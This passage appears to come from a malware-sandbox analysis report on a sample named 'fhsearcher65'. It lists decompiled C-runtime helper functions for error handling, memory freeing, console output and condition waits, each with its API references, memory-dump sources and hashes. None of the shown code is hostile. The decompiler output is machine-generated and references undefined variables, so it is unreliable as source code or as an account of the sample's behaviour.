							_t5 =  *0x43d1c8; // 0x7
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E00419FF9(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x43d1c8; // 0x7
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E0041EB8F(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E0041E60B(1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E0041EB8F(__eflags,  *0x43d1c8, _t54);
											if(__eflags != 0) {
												E0041CD41(_t54, 0x4508d8);
												E0041E668(0);
												goto L45;
											} else {
												_t40 = 0;
												E0041EB8F(__eflags,  *0x43d1c8, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E0041EB8F(0,  *0x43d1c8, 0);
											_push(0);
											L41:
											E0041E668();
											goto L36;
										}
									}
								} else {
									_t54 = E0041EB50(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x43d1c8; // 0x7
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x0041cf13
0x0041cf13
0x0041cf1e
0x0041cf20
0x0041cf25
0x0041cf28
0x0041cf46
0x0041cf49
0x0041cf4e
0x0041cf50
0x00000000
0x0041cf52
0x0041cf5e
0x0041cf61
0x0041cf62
0x0041cf64
0x0041cf89
0x0041cf8b
0x0041cfa4
0x0041cfab
0x0041cfb0
0x00000000
0x0041cf8d
0x0041cf8d
0x0041cf96
0x0041cf9b
0x00000000
0x0041cf9b
0x0041cf66
0x0041cf66
0x0041cf66
0x0041cf6f
0x0041cf74
0x0041cf75
0x0041cf75
0x0041cf7a
0x00000000
0x0041cf7a
0x0041cf64
0x0041cf2a
0x0041cf30
0x0041cf34
0x0041cf41
0x00000000
0x0041cf36
0x0041cf39
0x0041cfb3
0x0041cfb3
0x0041cf3b
0x0041cf3b
0x0041cf3b
0x0041cf3d
0x0041cf3d
0x0041cf3d
0x0041cf39
0x0041cf34
0x0041cfb6
0x0041cfbe
0x0041cfc0
0x0041cfc2
0x0041cfca
0x0041cfcf
0x0041cfd0
0x0041cfd5
0x0041cfd6
0x0041cfd9
0x0041cff3
0x0041cff6
0x0041cffb
0x0041cffd
0x00000000
0x0041cfff
0x0041d00b
0x0041d00e
0x0041d00f
0x0041d011
0x0041d034
0x0041d036
0x0041d04d
0x0041d054
0x0041d059
0x00000000
0x0041d038
0x0041d03f
0x0041d044
0x00000000
0x0041d044
0x0041d013
0x0041d01a
0x0041d01f
0x0041d020
0x0041d020
0x0041d025
0x00000000
0x0041d025
0x0041d011
0x0041cfdb
0x0041cfe1
0x0041cfe3
0x0041cfe5
0x0041cfee
0x00000000
0x0041cfe7
0x0041cfe7
0x0041cfea
0x0041d064
0x0041d064
0x0041d069
0x0041d06c
0x0041d06d
0x0041d06e
0x0041d075
0x0041d077
0x0041d07c
0x0041d07f
0x0041d09d
0x0041d0a0
0x0041d0a5
0x0041d0a7
0x00000000
0x0041d0a9
0x0041d0b5
0x0041d0b9
0x0041d0bb
0x0041d0e0
0x0041d0e2
0x0041d0fb
0x0041d102
0x00000000
0x0041d0e4
0x0041d0e4
0x0041d0ed
0x0041d0f2
0x00000000
0x0041d0f2
0x0041d0bd
0x0041d0bd
0x0041d0bd
0x0041d0c6
0x0041d0cb
0x0041d0cc
0x0041d0cc
0x00000000
0x0041d0d1
0x0041d0bb
0x0041d081
0x0041d087
0x0041d089
0x0041d08b
0x0041d098
0x00000000
0x0041d08d
0x0041d08d
0x0041d090
0x0041d10a
0x0041d10a
0x0041d092
0x0041d092
0x0041d092
0x0041d092
0x0041d094
0x0041d094
0x0041d094
0x0041d090
0x0041d08b
0x0041d10d
0x0041d115
0x0041d117
0x0041d117
0x0041d11e
0x0041cfec
0x0041d05c
0x0041d05c
0x0041d05e
0x00000000
0x0041d060
0x0041d063
0x0041d063
0x0041d05e
0x0041cfea
0x0041cfe5
0x0041cfc4
0x0041cfc9
0x0041cfc9

APIs

GetLastError.KERNEL32(?,?,?,00413A11,?,00000000,00405D9E,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000), ref: 0041CF18
_free.LIBCMT ref: 0041CF75
_free.LIBCMT ref: 0041CFAB
SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000,?,00405D9E,?), ref: 0041CFB6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c800ed47467b4d5fa4a10e96a6c79b8c19c91be2e3c821636b41be8566379e1a
Instruction ID: 4c908b62770dc1a288213ecdcefb91f592a0ef802b6b4ae83b67778f838d114f
Opcode Fuzzy Hash: c800ed47467b4d5fa4a10e96a6c79b8c19c91be2e3c821636b41be8566379e1a
Instruction Fuzzy Hash: 4E11C6367842046B9B1167BBACC5EEB215B8BC1778724063BFA25932D1DE6D8CC3452D

Uniqueness

Uniqueness Score: -1.00%

Function 10007BAC Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E10007BAC(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x10017100; // 0xa
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E100082D2(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E10008BFC(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E100082D2(__eflags,  *0x10017100, _t51);
							if(__eflags != 0) {
								E100079AE(_t51, 0x10018108);
								E10008701(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E100082D2(__eflags,  *0x10017100, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E100082D2(0,  *0x10017100, 0);
							_push(0);
							L9:
							E10008701();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E10008293(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x10017100; // 0xa
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E100076E4(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x10017100; // 0xa
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E100082D2(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E10008BFC(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E100082D2(__eflags,  *0x10017100, _t60);
								if(__eflags != 0) {
									E100079AE(_t60, 0x10018108);
									E10008701(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E100082D2(__eflags,  *0x10017100, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E100082D2(__eflags,  *0x10017100, _t20);
								_push(_t60);
								L25:
								E10008701();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E10008293(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x10017100; // 0xa
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E100076E4(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x10017100; // 0xa
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E100082D2(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E10008BFC(1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E100082D2(__eflags,  *0x10017100, _t54);
											if(__eflags != 0) {
												E100079AE(_t54, 0x10018108);
												E10008701(0);
												goto L45;
											} else {
												_t40 = 0;
												E100082D2(__eflags,  *0x10017100, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E100082D2(0,  *0x10017100, 0);
											_push(0);
											L41:
											E10008701();
											goto L36;
										}
									}
								} else {
									_t54 = E10008293(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x10017100; // 0xa
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x10007bac
0x10007bac
0x10007bb7
0x10007bb9
0x10007bbe
0x10007bc1
0x10007bdf
0x10007be2
0x10007be7
0x10007be9
0x00000000
0x10007beb
0x10007bf7
0x10007bfa
0x10007bfb
0x10007bfd
0x10007c22
0x10007c24
0x10007c3d
0x10007c44
0x10007c49
0x00000000
0x10007c26
0x10007c26
0x10007c2f
0x10007c34
0x00000000
0x10007c34
0x10007bff
0x10007bff
0x10007bff
0x10007c08
0x10007c0d
0x10007c0e
0x10007c0e
0x10007c13
0x00000000
0x10007c13
0x10007bfd
0x10007bc3
0x10007bc9
0x10007bcd
0x10007bda
0x00000000
0x10007bcf
0x10007bd2
0x10007c4c
0x10007c4c
0x10007bd4
0x10007bd4
0x10007bd4
0x10007bd6
0x10007bd6
0x10007bd6
0x10007bd2
0x10007bcd
0x10007c4f
0x10007c57
0x10007c59
0x10007c5b
0x10007c63
0x10007c68
0x10007c69
0x10007c6e
0x10007c6f
0x10007c72
0x10007c8c
0x10007c8f
0x10007c94
0x10007c96
0x00000000
0x10007c98
0x10007ca4
0x10007ca7
0x10007ca8
0x10007caa
0x10007ccd
0x10007ccf
0x10007ce6
0x10007ced
0x10007cf2
0x00000000
0x10007cd1
0x10007cd8
0x10007cdd
0x00000000
0x10007cdd
0x10007cac
0x10007cb3
0x10007cb8
0x10007cb9
0x10007cb9
0x10007cbe
0x00000000
0x10007cbe
0x10007caa
0x10007c74
0x10007c7a
0x10007c7c
0x10007c7e
0x10007c87
0x00000000
0x10007c80
0x10007c80
0x10007c83
0x10007cfd
0x10007cfd
0x10007d02
0x10007d05
0x10007d06
0x10007d07
0x10007d0e
0x10007d10
0x10007d15
0x10007d18
0x10007d36
0x10007d39
0x10007d3e
0x10007d40
0x00000000
0x10007d42
0x10007d4e
0x10007d52
0x10007d54
0x10007d79
0x10007d7b
0x10007d94
0x10007d9b
0x00000000
0x10007d7d
0x10007d7d
0x10007d86
0x10007d8b
0x00000000
0x10007d8b
0x10007d56
0x10007d56
0x10007d56
0x10007d5f
0x10007d64
0x10007d65
0x10007d65
0x00000000
0x10007d6a
0x10007d54
0x10007d1a
0x10007d20
0x10007d22
0x10007d24
0x10007d31
0x00000000
0x10007d26
0x10007d26
0x10007d29
0x10007da3
0x10007da3
0x10007d2b
0x10007d2b
0x10007d2b
0x10007d2b
0x10007d2d
0x10007d2d
0x10007d2d
0x10007d29
0x10007d24
0x10007da6
0x10007dae
0x10007db0
0x10007db0
0x10007db7
0x10007c85
0x10007cf5
0x10007cf5
0x10007cf7
0x00000000
0x10007cf9
0x10007cfc
0x10007cfc
0x10007cf7
0x10007c83
0x10007c7e
0x10007c5d
0x10007c62
0x10007c62

APIs

GetLastError.KERNEL32(?,?,?,100064BF,?,10002482,00000000), ref: 10007BB1
_free.LIBCMT ref: 10007C0E
_free.LIBCMT ref: 10007C44
SetLastError.KERNEL32(00000000,0000000A,000000FF,?,100064BF,?,10002482,00000000), ref: 10007C4F

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c9421031c8270037eee8d98a36a9266b2192190dd1963cf3c890ea5dd8583a89
Instruction ID: 40064ac180ed46dbc898ff0431a2854e633d7821ece77d32e9ad52d9302bdc28
Opcode Fuzzy Hash: c9421031c8270037eee8d98a36a9266b2192190dd1963cf3c890ea5dd8583a89
Instruction Fuzzy Hash: 2E11E976A04615BAF212D7784CC1E1B3699FBC02F4B324528F55C821EDEF75ED414320

Uniqueness

Uniqueness Score: -1.00%

Function 0041D06A Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041D06A(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x43d1c8; // 0x7
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0041EB8F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E0041E60B(1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E0041EB8F(__eflags,  *0x43d1c8, _t18);
							if(__eflags != 0) {
								E0041CD41(_t18, 0x4508d8);
								E0041E668(0);
								goto L13;
							} else {
								_t13 = 0;
								E0041EB8F(__eflags,  *0x43d1c8, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E0041EB8F(0,  *0x43d1c8, 0);
							_push(0);
							L9:
							E0041E668();
							goto L4;
						}
					}
				} else {
					_t18 = E0041EB50(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x43d1c8; // 0x7
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x0041d075
0x0041d077
0x0041d07c
0x0041d07f
0x0041d09d
0x0041d0a0
0x0041d0a5
0x0041d0a7
0x00000000
0x0041d0a9
0x0041d0b5
0x0041d0b9
0x0041d0bb
0x0041d0e0
0x0041d0e2
0x0041d0fb
0x0041d102
0x00000000
0x0041d0e4
0x0041d0e4
0x0041d0ed
0x0041d0f2
0x00000000
0x0041d0f2
0x0041d0bd
0x0041d0bd
0x0041d0bd
0x0041d0c6
0x0041d0cb
0x0041d0cc
0x0041d0cc
0x00000000
0x0041d0d1
0x0041d0bb
0x0041d081
0x0041d087
0x0041d08b
0x0041d098
0x00000000
0x0041d08d
0x0041d090
0x0041d10a
0x0041d10a
0x0041d092
0x0041d092
0x0041d092
0x0041d094
0x0041d094
0x0041d094
0x0041d090
0x0041d08b
0x0041d10d
0x0041d115
0x0041d11e

APIs

GetLastError.KERNEL32(?,?,?,004139A6,0041F122,?,?,0041034B,?,?,?,?,?,00403757,?,?), ref: 0041D06F
_free.LIBCMT ref: 0041D0CC
_free.LIBCMT ref: 0041D102
SetLastError.KERNEL32(00000000,00000007,000000FF,?,0041034B,?,?,?,?,?,00403757,?,?,?), ref: 0041D10D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7cb3531a7c9dfb21880840913b8bb23096830f615f0c26b6cef71ecbc561625a
Instruction ID: 7575a1aa16dbe7ba34aa87deb86d4ddfce0f358a2657d34940b4206dec391697
Opcode Fuzzy Hash: 7cb3531a7c9dfb21880840913b8bb23096830f615f0c26b6cef71ecbc561625a
Instruction Fuzzy Hash: 231129B6A442006B9B10267BACC5EEB29099BC437CB64023BF619832D1DD6D8CC3412C

Uniqueness

Uniqueness Score: -1.00%

Function 10007D03 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E10007D03(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0x10017100; // 0xa
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E100082D2(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E10008BFC(1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E100082D2(__eflags,  *0x10017100, _t18);
							if(__eflags != 0) {
								E100079AE(_t18, 0x10018108);
								E10008701(0);
								goto L13;
							} else {
								_t13 = 0;
								E100082D2(__eflags,  *0x10017100, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E100082D2(0,  *0x10017100, 0);
							_push(0);
							L9:
							E10008701();
							goto L4;
						}
					}
				} else {
					_t18 = E10008293(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x10017100; // 0xa
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x10007d0e
0x10007d10
0x10007d15
0x10007d18
0x10007d36
0x10007d39
0x10007d3e
0x10007d40
0x00000000
0x10007d42
0x10007d4e
0x10007d52
0x10007d54
0x10007d79
0x10007d7b
0x10007d94
0x10007d9b
0x00000000
0x10007d7d
0x10007d7d
0x10007d86
0x10007d8b
0x00000000
0x10007d8b
0x10007d56
0x10007d56
0x10007d56
0x10007d5f
0x10007d64
0x10007d65
0x10007d65
0x00000000
0x10007d6a
0x10007d54
0x10007d1a
0x10007d20
0x10007d24
0x10007d31
0x00000000
0x10007d26
0x10007d29
0x10007da3
0x10007da3
0x10007d2b
0x10007d2b
0x10007d2b
0x10007d2d
0x10007d2d
0x10007d2d
0x10007d29
0x10007d24
0x10007da6
0x10007dae
0x10007db7

APIs

GetLastError.KERNEL32(?,?,?,1000640B,10008727,?,?,100074AC), ref: 10007D08
_free.LIBCMT ref: 10007D65
_free.LIBCMT ref: 10007D9B
SetLastError.KERNEL32(00000000,0000000A,000000FF,?,?,1000640B,10008727,?,?,100074AC), ref: 10007DA6

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a1b51e29a2483d9d067290d82e8b33bd0401e2047f5f7481da3912e5413e3180
Instruction ID: 68182e47bee727d8c9ea21c39a6ce122361ce54ca7b3a3919661bbd41b246de3
Opcode Fuzzy Hash: a1b51e29a2483d9d067290d82e8b33bd0401e2047f5f7481da3912e5413e3180
Instruction Fuzzy Hash: 38110476B04615BAF212D7788CC1D2B26BAFFC02F0B314226F56C821EEDE75ED514221

Uniqueness

Uniqueness Score: -1.00%

Function 0043F031 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043F04D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043F066

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
Instruction ID: 2f914ca0b150f54681f4df5d10c51623e56e86357141abab0502ee71ee4cbc58
Opcode Fuzzy Hash: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
Instruction Fuzzy Hash: 80012D33D083119DA62967BDBC855AB2B65DB1C378F20133FF620902F2EF594C19914C

Uniqueness

Uniqueness Score: -1.00%

Function 0042BBA2 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042BBA2(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0042BB8B();
					E0042BB4D();
					_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x0042bbbf
0x0042bbc3
0x0042bbd0
0x0042bbd5
0x0042bbf0
0x0042bbf0
0x0042bbf6

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,00000000,?,0042A8A6,00000000,00000001,00000000,00000000,?,00420F42,?,00000000,00000000), ref: 0042BBB9
GetLastError.KERNEL32(?,0042A8A6,00000000,00000001,00000000,00000000,?,00420F42,?,00000000,00000000,?,00000000,?,0042148E,?), ref: 0042BBC5

Part of subcall function 0042BB8B: CloseHandle.KERNEL32(FFFFFFFE,0042BBD5,?,0042A8A6,00000000,00000001,00000000,00000000,?,00420F42,?,00000000,00000000,?,00000000), ref: 0042BB9B

___initconout.LIBCMT ref: 0042BBD5

Part of subcall function 0042BB4D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042BB7C,0042A893,00000000,?,00420F42,?,00000000,00000000,?), ref: 0042BB60

WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,?,0042A8A6,00000000,00000001,00000000,00000000,?,00420F42,?,00000000,00000000,?), ref: 0042BBEA

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
Instruction ID: 4ce2b1450f175b7cfdd4e174de3d354433f060726ecd1e86cd00ce29743ae2f4
Opcode Fuzzy Hash: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
Instruction Fuzzy Hash: 44F01C36A00129BBCF222FD2EC05D9A3F26FB083A0F444025FA0996525C7329860ABD9

Uniqueness

Uniqueness Score: -1.00%

Function 1000E591 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000E591(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E1000E57A();
					E1000E53C();
					_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x1000e5ae
0x1000e5b2
0x1000e5bf
0x1000e5c4
0x1000e5df
0x1000e5df
0x1000e5e5

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001), ref: 1000E5A8
GetLastError.KERNEL32(?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?,00000001,?,1000C9F7,10008E0A), ref: 1000E5B4

Part of subcall function 1000E57A: CloseHandle.KERNEL32(FFFFFFFE,1000E5C4,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?,00000001), ref: 1000E58A

___initconout.LIBCMT ref: 1000E5C4

Part of subcall function 1000E53C: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000E56B,1000D975,00000001,?,1000C4AB,?,?,00000001,?), ref: 1000E54F

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?), ref: 1000E5D9

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: db033fb1b874636e85d330483b63d37f63c04bcfd1e8b3716c06f70c47e2a96d
Instruction ID: b377c5219626dc8a0c0ad289bd514fd869925b16e60f045967f437c28a647ed1
Opcode Fuzzy Hash: db033fb1b874636e85d330483b63d37f63c04bcfd1e8b3716c06f70c47e2a96d
Instruction Fuzzy Hash: F4F03036540569BBEF12AFA1CC49A8A3F66FB083E1F018410FE48A5131DA32CD20DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0040F381 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040F381(long _a4) {
				long _t3;
				intOrPtr* _t7;

				_t7 =  *0x450514;
				if(_t7 == 0) {
					LeaveCriticalSection(0x4504fc);
					_t3 = WaitForSingleObjectEx( *0x4504f8, _a4, 0);
					EnterCriticalSection(0x4504fc);
					return _t3;
				}
				 *0x42e234(0x4504f4, 0x4504fc, _a4);
				return  *_t7();
			}

0x0040f385
0x0040f38d
0x0040f3ae
0x0040f3bf
0x0040f3c6
0x00000000
0x0040f3c6
0x0040f39e
0x00000000

APIs

SleepConditionVariableCS.KERNELBASE(?,0040F31E,00000064), ref: 0040F3A4
LeaveCriticalSection.KERNEL32(004504FC,004063FC,?,0040F31E,00000064,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F3AE
WaitForSingleObjectEx.KERNEL32(004063FC,00000000,?,0040F31E,00000064,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F3BF
EnterCriticalSection.KERNEL32(004504FC,?,0040F31E,00000064,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F3C6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

